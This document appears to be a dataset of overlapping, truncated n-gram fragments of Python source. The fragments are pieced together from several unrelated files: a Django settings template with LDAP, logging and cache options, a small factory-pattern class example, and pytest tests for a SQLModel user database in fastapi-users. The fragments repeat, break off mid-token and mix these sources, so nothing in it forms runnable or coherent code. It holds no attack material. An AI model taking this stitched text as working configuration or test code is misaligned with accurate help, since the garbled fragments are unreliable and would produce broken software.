") TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", )",
"= \"\" LDAP_CHALLENGE_ATTR = \"\" # auth backends AUTHENTICATION_BACKENDS =",
"#'OPTIONS': { # 'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY =",
"= \"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS =",
"= ( ('', ''), ) MANAGERS = ADMINS SECRET_KEY =",
"\"\" # auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', )",
"}, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, },",
"'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', },",
"{ 'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django': {",
"'disable_existing_loggers': True, 'formatters': { 'standard': { 'format' : \"[%(asctime)s] %(levelname)s",
"\"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST = []",
"= '' STATIC_URL = \"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS =",
"\"\" LDAP_CHALLENGE_ATTR = \"\" # auth backends AUTHENTICATION_BACKENDS = (",
"TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) #",
"'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard', },",
"'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default': { 'HOST': '127.0.0.1', 'PORT':",
"= '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE =",
"'' STATIC_URL = \"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS = (",
"'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should be",
"= \"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST =",
"= \"\" LDAP_BASE = \"\" LDAP_USER = \"\" LDAP_PASS =",
"True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie'",
"= True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = \"debug\" ADMINS =",
"= False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = '' SERVER_MAIL='' #",
"= '' LDAP_PORT = '' LDAP_PORT_PWM = '' LDAP_PROTOCOL =",
"\"%Y/%b/%d %H:%M:%S\" }, 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d",
"False, }, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True,",
"\"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching CACHES = { 'default':",
"\"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching CACHES = {",
"LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR = \"\" # auth backends AUTHENTICATION_BACKENDS",
"EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL",
"\"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching CACHES = { 'default': {",
"'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor': {",
"\"\" API_URL = \"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\"",
"}, 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s',",
"''), ) MANAGERS = ADMINS SECRET_KEY = '' ALLOWED_HOSTS =",
"= ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware',",
"= { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211',",
"60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES': 80000, #} }",
"= ADMINS SECRET_KEY = '' ALLOWED_HOSTS = [] LANGUAGE_CODE =",
"os.path.join(BASE_DIR, ...) import os # Debug #DEBUG = False DEBUG",
") # template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', )",
"= os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION =",
"{ 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate':",
"'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename':",
"should be uncommented unless you are # embedding your apps",
"'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': { 'level': 'ERROR', 'filters':",
"= {} LDAP_RETURN = [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR =",
"TIME_ZONE = 'America/Chicago' SITE_ID = 1 USE_I18N = False USE_L10N",
"'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following",
"{ 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' }",
"= ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL =",
"[] LDAP_GROUPS = {} LDAP_RETURN = [] LDAP_RETURN_PWM = []",
"'' EMAIL_USE_TLS = True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False",
"= 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL =",
"#'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES': 80000, #} } }",
"LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM = '' LDAP_PORT =",
"'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST =",
"'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'simple': { 'format': '%(levelname)s %(message)s'",
"587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = ''",
"embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff",
"LDAP_USER = \"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS",
"(SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\"",
"ROOT_DIR = os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION",
"# embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template",
"\"logs/\") LOG_FILENAME = LOG_FILEPATH + \"debug.log\" LOGGING = { 'version':"
] |
[
"PM' from abc import abstractmethod class Product(object): @abstractmethod def setMsg(self,",
"4:18 PM' from abc import abstractmethod class Product(object): @abstractmethod def",
"@abstractmethod def setMsg(self, msg=\"default info\"): self.msg = msg @abstractmethod def",
"'__main__': ss = Factory().produce() pc = PCFactory().produce() laptop = LAPTOPFactory().produce()",
"self.setMsg('pc info') class LAPTOP(Product): def __init__(self): self.setMsg('laptop info') class PCFactory(Factory):",
"__email__ = '<EMAIL>' __date__ = '12/9/2020 4:18 PM' from abc",
"class Product(object): @abstractmethod def setMsg(self, msg=\"default info\"): self.msg = msg",
"def setMsg(self, msg=\"default info\"): self.msg = msg @abstractmethod def info(self):",
"info(self): print(self.msg) class DefaultObj(Product): def __init__(self): super().setMsg() class Factory(object): @abstractmethod",
"def __init__(self): super().setMsg() class Factory(object): @abstractmethod def produce(self): return DefaultObj()",
"def produce(self): return DefaultObj() class PC(Product): def __init__(self): self.setMsg('pc info')",
"produce(self): return DefaultObj() class PC(Product): def __init__(self): self.setMsg('pc info') class",
"ss = Factory().produce() pc = PCFactory().produce() laptop = LAPTOPFactory().produce() pc.info()",
"__init__(self): super().setMsg() class Factory(object): @abstractmethod def produce(self): return DefaultObj() class",
"Factory().produce() pc = PCFactory().produce() laptop = LAPTOPFactory().produce() pc.info() laptop.info() ss.info()",
"__author__ = '<NAME>' __email__ = '<EMAIL>' __date__ = '12/9/2020 4:18",
"PCFactory(Factory): def produce(self): return PC() class LAPTOPFactory(Factory): def produce(self): return",
"Factory(object): @abstractmethod def produce(self): return DefaultObj() class PC(Product): def __init__(self):",
"produce(self): return PC() class LAPTOPFactory(Factory): def produce(self): return LAPTOP() if",
"'<NAME>' __email__ = '<EMAIL>' __date__ = '12/9/2020 4:18 PM' from",
"LAPTOP() if __name__ == '__main__': ss = Factory().produce() pc =",
"self.setMsg('laptop info') class PCFactory(Factory): def produce(self): return PC() class LAPTOPFactory(Factory):",
"LAPTOPFactory(Factory): def produce(self): return LAPTOP() if __name__ == '__main__': ss",
"return PC() class LAPTOPFactory(Factory): def produce(self): return LAPTOP() if __name__",
"__init__(self): self.setMsg('pc info') class LAPTOP(Product): def __init__(self): self.setMsg('laptop info') class",
"def info(self): print(self.msg) class DefaultObj(Product): def __init__(self): super().setMsg() class Factory(object):",
"__date__ = '12/9/2020 4:18 PM' from abc import abstractmethod class",
"return DefaultObj() class PC(Product): def __init__(self): self.setMsg('pc info') class LAPTOP(Product):",
"abstractmethod class Product(object): @abstractmethod def setMsg(self, msg=\"default info\"): self.msg =",
"Product(object): @abstractmethod def setMsg(self, msg=\"default info\"): self.msg = msg @abstractmethod",
"class PC(Product): def __init__(self): self.setMsg('pc info') class LAPTOP(Product): def __init__(self):",
"setMsg(self, msg=\"default info\"): self.msg = msg @abstractmethod def info(self): print(self.msg)",
"PC() class LAPTOPFactory(Factory): def produce(self): return LAPTOP() if __name__ ==",
"abc import abstractmethod class Product(object): @abstractmethod def setMsg(self, msg=\"default info\"):",
"info\"): self.msg = msg @abstractmethod def info(self): print(self.msg) class DefaultObj(Product):",
"LAPTOP(Product): def __init__(self): self.setMsg('laptop info') class PCFactory(Factory): def produce(self): return",
"from abc import abstractmethod class Product(object): @abstractmethod def setMsg(self, msg=\"default",
"= '<NAME>' __email__ = '<EMAIL>' __date__ = '12/9/2020 4:18 PM'",
"= '<EMAIL>' __date__ = '12/9/2020 4:18 PM' from abc import",
"msg @abstractmethod def info(self): print(self.msg) class DefaultObj(Product): def __init__(self): super().setMsg()",
"@abstractmethod def info(self): print(self.msg) class DefaultObj(Product): def __init__(self): super().setMsg() class",
"super().setMsg() class Factory(object): @abstractmethod def produce(self): return DefaultObj() class PC(Product):",
"class LAPTOPFactory(Factory): def produce(self): return LAPTOP() if __name__ == '__main__':",
"def produce(self): return LAPTOP() if __name__ == '__main__': ss =",
"class PCFactory(Factory): def produce(self): return PC() class LAPTOPFactory(Factory): def produce(self):",
"class LAPTOP(Product): def __init__(self): self.setMsg('laptop info') class PCFactory(Factory): def produce(self):",
"== '__main__': ss = Factory().produce() pc = PCFactory().produce() laptop =",
"= Factory().produce() pc = PCFactory().produce() laptop = LAPTOPFactory().produce() pc.info() laptop.info()",
"DefaultObj() class PC(Product): def __init__(self): self.setMsg('pc info') class LAPTOP(Product): def",
"def __init__(self): self.setMsg('laptop info') class PCFactory(Factory): def produce(self): return PC()",
"return LAPTOP() if __name__ == '__main__': ss = Factory().produce() pc",
"class DefaultObj(Product): def __init__(self): super().setMsg() class Factory(object): @abstractmethod def produce(self):",
"@abstractmethod def produce(self): return DefaultObj() class PC(Product): def __init__(self): self.setMsg('pc",
"PC(Product): def __init__(self): self.setMsg('pc info') class LAPTOP(Product): def __init__(self): self.setMsg('laptop",
"msg=\"default info\"): self.msg = msg @abstractmethod def info(self): print(self.msg) class",
"produce(self): return LAPTOP() if __name__ == '__main__': ss = Factory().produce()",
"<filename>records/12-09/ffff.py<gh_stars>10-100 __author__ = '<NAME>' __email__ = '<EMAIL>' __date__ = '12/9/2020",
"'<EMAIL>' __date__ = '12/9/2020 4:18 PM' from abc import abstractmethod",
"__name__ == '__main__': ss = Factory().produce() pc = PCFactory().produce() laptop",
"'12/9/2020 4:18 PM' from abc import abstractmethod class Product(object): @abstractmethod",
"import abstractmethod class Product(object): @abstractmethod def setMsg(self, msg=\"default info\"): self.msg",
"print(self.msg) class DefaultObj(Product): def __init__(self): super().setMsg() class Factory(object): @abstractmethod def",
"def __init__(self): self.setMsg('pc info') class LAPTOP(Product): def __init__(self): self.setMsg('laptop info')",
"= msg @abstractmethod def info(self): print(self.msg) class DefaultObj(Product): def __init__(self):",
"info') class PCFactory(Factory): def produce(self): return PC() class LAPTOPFactory(Factory): def",
"= '12/9/2020 4:18 PM' from abc import abstractmethod class Product(object):",
"class Factory(object): @abstractmethod def produce(self): return DefaultObj() class PC(Product): def",
"info') class LAPTOP(Product): def __init__(self): self.setMsg('laptop info') class PCFactory(Factory): def",
"def produce(self): return PC() class LAPTOPFactory(Factory): def produce(self): return LAPTOP()",
"self.msg = msg @abstractmethod def info(self): print(self.msg) class DefaultObj(Product): def",
"if __name__ == '__main__': ss = Factory().produce() pc = PCFactory().produce()",
"__init__(self): self.setMsg('laptop info') class PCFactory(Factory): def produce(self): return PC() class",
"DefaultObj(Product): def __init__(self): super().setMsg() class Factory(object): @abstractmethod def produce(self): return"
] |
[
"import AsyncGenerator import pytest from sqlalchemy import exc from sqlalchemy.ext.asyncio",
"uppercased email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not",
"email_user is not None assert email_user.id == user_db.id # Get",
"AsyncGenerator[Session, None]: engine = create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine)",
"id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get by",
"await sqlmodel_user_db.create(user) assert user_db.id is not None assert user_db.is_active is",
"request.param[2] async for session in create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount)",
"assert len(oauth_user.oauth_accounts) == 2 # Unknown OAuth account unknown_oauth_user =",
"= await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not None assert email_user.id",
"def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url =",
"Update user_db.is_superuser = True await sqlmodel_user_db.update(user_db) # Get by id",
"# Get by email email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user",
"oauth_accounts=[oauth_account1, oauth_account2], ) # Create user_db = await sqlmodel_user_db_oauth.create(user) assert",
"oauth_user.id == user.id assert len(oauth_user.oauth_accounts) == 2 # Unknown OAuth",
"class_=AsyncSession, expire_on_commit=False) async with engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all) async",
"request.param[2] async for session in create_session(database_url): yield database_class(UserDB, session) @pytest.fixture(",
"True assert user_db.is_superuser is False assert user_db.email == user.email #",
"account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user",
"for session in create_session(database_url): yield database_class(UserDB, session) @pytest.fixture( params=[ (",
"-> AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session =",
"OAuthAccount] ): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await",
"await sqlmodel_user_db.update(user_db) # Get by id id_user = await sqlmodel_user_db.get(user.id)",
"NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest import OAuthAccount, UserDB, UserDBOAuth",
"tests.conftest import OAuthAccount, UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def",
"create_session = request.param[0] database_url = request.param[1] database_class = request.param[2] async",
"from sqlalchemy.orm import sessionmaker from sqlmodel import Session, SQLModel, create_engine",
"None]: engine = create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine) as",
"assert id_user.is_superuser is True # Get by email email_user =",
"yield session SQLModel.metadata.drop_all(engine) async def init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]:",
"await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB,",
"OAuthAccount], oauth_account1, oauth_account2, ): user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\",",
"id_user is not None assert id_user.id == user_db.id assert id_user.is_superuser",
"sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url = request.param[1]",
"hashed_password=\"<PASSWORD>\", ) # Create user_db = await sqlmodel_user_db.create(user) assert user_db.id",
"pytest from sqlalchemy import exc from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine",
"session: yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase),",
"id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get by email email_user = await",
"is not None assert oauth_user.id == user.id assert len(oauth_user.oauth_accounts) ==",
"user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None #",
"user.id assert id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth(",
"len(email_user.oauth_accounts) == 2 # Get by OAuth account oauth_user =",
"user_db.id is not None assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) ==",
"Get by id id_user = await sqlmodel_user_db_oauth.get(user.id) assert id_user is",
"sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id) assert deleted_user is None #",
"None assert email_user.id == user_db.id assert len(email_user.oauth_accounts) == 2 #",
"sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user is not None assert",
"( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async",
"id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth,",
"query result.\"\"\" user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", )",
"connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine) as session: yield session SQLModel.metadata.drop_all(engine)",
"hashed_password=\"<PASSWORD>\" ) wrong_user.email = None # type: ignore await sqlmodel_user_db.create(wrong_user)",
") wrong_user.email = None # type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio",
"init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ],",
"init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def",
"= await sqlmodel_user_db_oauth.create(user) assert user_db.id is not None assert hasattr(user_db,",
"id_user.id == user_db.id assert id_user.is_superuser is True # Get by",
"user.email # Update user_db.is_superuser = True await sqlmodel_user_db.update(user_db) # Get",
"email_user.id == user_db.id # Get by uppercased email email_user =",
"= await sqlmodel_user_db_oauth.get(user.id) assert id_user is not None assert id_user.id",
"by email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not",
"for session in create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db",
"sqlmodel_user_db.get(user.id) assert deleted_user is None # Exception when trying to",
"not None assert email_user.id == user_db.id assert len(email_user.oauth_accounts) == 2",
"len(oauth_user.oauth_accounts) == 2 # Unknown OAuth account unknown_oauth_user = await",
"UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str) ->",
"-> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url = request.param[1] database_class",
"== user.email # Update user_db.is_superuser = True await sqlmodel_user_db.update(user_db) #",
"== 2 # Unknown OAuth account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\",",
"# Create user_db = await sqlmodel_user_db_oauth.create(user) assert user_db.id is not",
"make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with engine.begin() as conn:",
"None assert id_user.id == user.id assert id_user.first_name == user.first_name @pytest.mark.asyncio",
"assert oauth_user.id == user.id assert len(oauth_user.oauth_accounts) == 2 # Unknown",
"hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) # Create user_db = await sqlmodel_user_db_oauth.create(user)",
"# Create user_db = await sqlmodel_user_db.create(user) assert user_db.id is not",
"email_user.id == user_db.id # Unknown user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\")",
"wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email = None",
"oauth_account2, ): user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2],",
"in create_session(database_url): yield database_class(UserDB, session) @pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\",",
"Get by uppercased email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user",
"with pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email",
"email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id)",
"user_db.id is not None assert user_db.is_active is True assert user_db.is_superuser",
"email_user is not None assert email_user.id == user_db.id # Unknown",
"True # Get by email email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert",
"assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) == 2 # Update user_db.oauth_accounts[0].access_token",
"sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all)",
"pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email =",
"], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]:",
"@pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB(",
"# Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get by",
"email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create user_db = await sqlmodel_user_db.create(user) assert",
"# Get by id id_user = await sqlmodel_user_db_oauth.get(user.id) assert id_user",
"hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email,",
"session in create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async",
"= request.param[0] database_url = request.param[1] database_class = request.param[2] async for",
"oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user is",
"sqlalchemy import exc from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from sqlalchemy.orm",
"= await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None # Delete user",
"request.param[1] database_class = request.param[2] async for session in create_session(database_url): yield",
"ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB,",
"oauth_user is not None assert oauth_user.id == user.id assert len(oauth_user.oauth_accounts)",
"sqlmodel_user_db_oauth.create(user) assert user_db.id is not None assert hasattr(user_db, \"oauth_accounts\") assert",
"create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine) as session: yield session",
"AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url = request.param[1] database_class =",
"Session, SQLModel, create_engine from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync,",
"fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest import",
"assert user_db.id is not None assert user_db.is_active is True assert",
"oauth_account1.account_id ) assert oauth_user is not None assert oauth_user.id ==",
"def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user = UserDB( id=safe_uuid,",
"assert id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth:",
"yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), (",
"OAuthAccount, UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str)",
"is not None assert email_user.id == user_db.id # Get by",
"Unknown OAuth account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\", \"bar\") assert unknown_oauth_user",
"@pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2,",
"with make_session() as session: yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[",
"user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) #",
"user_db = await sqlmodel_user_db_oauth.create(user) assert user_db.id is not None assert",
"= create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async",
"is None # Delete user await sqlmodel_user_db.delete(user) deleted_user = await",
"session in create_session(database_url): yield database_class(UserDB, session) @pytest.fixture( params=[ ( init_sync_session,",
"@pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ),",
"session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user",
"@pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should",
"with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db",
"SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], )",
"from sqlalchemy import exc from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from",
"sqlalchemy.orm import sessionmaker from sqlmodel import Session, SQLModel, create_engine from",
"@pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\",",
"engine = create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)",
